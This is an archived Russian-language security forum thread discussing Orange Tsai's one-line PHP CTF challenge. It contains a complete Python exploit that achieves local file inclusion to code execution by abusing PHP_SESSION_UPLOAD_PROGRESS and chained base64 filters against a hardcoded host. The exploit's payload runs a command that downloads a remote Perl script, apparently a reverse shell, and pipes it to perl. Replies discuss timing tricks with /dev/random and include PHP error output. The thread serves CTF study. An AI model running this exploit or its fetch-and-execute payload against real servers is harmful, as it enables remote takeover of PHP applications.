RDot

RDot (https://rdot.org/forum/index.php)
-   Уязвимости PHP/PHP vulnerabilities (https://rdot.org/forum/forumdisplay.php?f=26)
-   -   LFI via PHP session upload progress (https://rdot.org/forum/showthread.php?t=4557)

Beched 24.10.2018 01:18

LFI via PHP session upload progress
 
Опять тайваньцы (Orange) нас унижают.

https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge

PHP код:

<?php
  
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

Сплойт:

Код:

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool



HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}

payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'


while 1:
    junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
    x = b64encode(payload + junk)
    xx = b64encode(b64encode(payload + junk))
    xxx = b64encode(b64encode(b64encode(payload + junk)))
    if '=' not in x and '=' not in xx and '=' not in xxx:
        payload = xxx
        print payload
        break

def runner1(i):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
    }
    while 1:
        fp = open('/etc/passwd', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()

def runner2(i):
    filename = '/var/lib/php/sessions/sess_' + sess_name
    filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
    # print filename
    while 1:
        url = '%s?orange=%s' % (HOST, filename)
        r = requests.get(url, headers=headers)
        c = r.content
        if c and 'orange' not in c:
            print [c]


if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

Итак, при не очень особых обстоятельствах возможна эксплуатация LFI путём насильного создания сессии (без session_start()!), если отправить параметр PHP_SESSION_UPLOAD_PROGRESS.

В сплойте также ещё юзается трюк с комбинацией фильтров для создания нужного префикса в шеллкоде, но это не так интересно, и нам уже известно.

А вот про сессии -- опять-таки оплошали =)


Кстати, некоторые команды (например, Bushwhackers) решили этот таск путём брута /tmp/php******. Задержка временных файлов в /tmp/ достигалась за счёт инклуда /dev/random.

crlf 25.10.2018 14:37

Апельсин как всегда жжёт! Теперь нужно накидывать юзкейсы :)


Цитата:

Задержка временных файлов в /tmp/ достигалась за счёт инклуда /dev/random.
У меня почему-то не инклудит:

Код:


Warning: include(/dev/random): failed to open stream: No such file or directory in /var/www/eval.php(27) : eval()'d code on line 1

Warning: include(): Failed opening '/dev/random' for inclusion (include_path='.:/usr/share/php') in /var/www/eval.php(27) : eval()'d code on line 1

Код:

user@laptop:~$ php -r 'include("file:///dev/random");'
PHP Warning:  include(/dev/random): failed to open stream: Illegal seek in Command line code on line 1
PHP Warning:  include(): Failed opening 'file:///dev/random' for inclusion (include_path='.:/usr/share/php') in Command line code on line 1
user@laptop:~$ php -r 'include("/dev/random");'
PHP Warning:  include(/dev/random): failed to open stream: Illegal seek in Command line code on line 1
PHP Warning:  include(): Failed opening '/dev/random' for inclusion (include_path='.:/usr/share/php') in Command line code on line 1
user@laptop:~$

PHP 5.6.36

Может я что-то упускаю и надо по другому тестить? При фаззинге SSRF-ок, тоже замечал отрицательный результат на некоторых хостах, думал что фетч этих путей пофиксили.

Beched 27.10.2018 21:44

Цитата:

Сообщение от crlf (Сообщение 44195)
Апельсин как всегда жжёт! Теперь нужно накидывать юзкейсы :)



У меня почему-то не инклудит:

Код:


Warning: include(/dev/random): failed to open stream: No such file or directory in /var/www/eval.php(27) : eval()'d code on line 1

Warning: include(): Failed opening '/dev/random' for inclusion (include_path='.:/usr/share/php') in /var/www/eval.php(27) : eval()'d code on line 1

Код:

user@laptop:~$ php -r 'include("file:///dev/random");'
PHP Warning:  include(/dev/random): failed to open stream: Illegal seek in Command line code on line 1
PHP Warning:  include(): Failed opening 'file:///dev/random' for inclusion (include_path='.:/usr/share/php') in Command line code on line 1
user@laptop:~$ php -r 'include("/dev/random");'
PHP Warning:  include(/dev/random): failed to open stream: Illegal seek in Command line code on line 1
PHP Warning:  include(): Failed opening '/dev/random' for inclusion (include_path='.:/usr/share/php') in Command line code on line 1
user@laptop:~$

PHP 5.6.36

Может я что-то упускаю и надо по другому тестить? При фаззинге SSRF-ок, тоже замечал отрицательный результат на некоторых хостах, думал что фетч этих путей пофиксили.



Верно, вру, тут задержка не в инклуде возникала, а в file(), там норм открывается /dev/random. Т.е. это именно для этого таска так проканало.

crlf 21.11.2018 23:33

Немного не в том контексте, но старик(?) Чен знал об этом ещё в 2к15 -ом :)
https://bugs.php.net/bug.php?id=71101


Часовой пояс GMT +3, время: 21:42.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot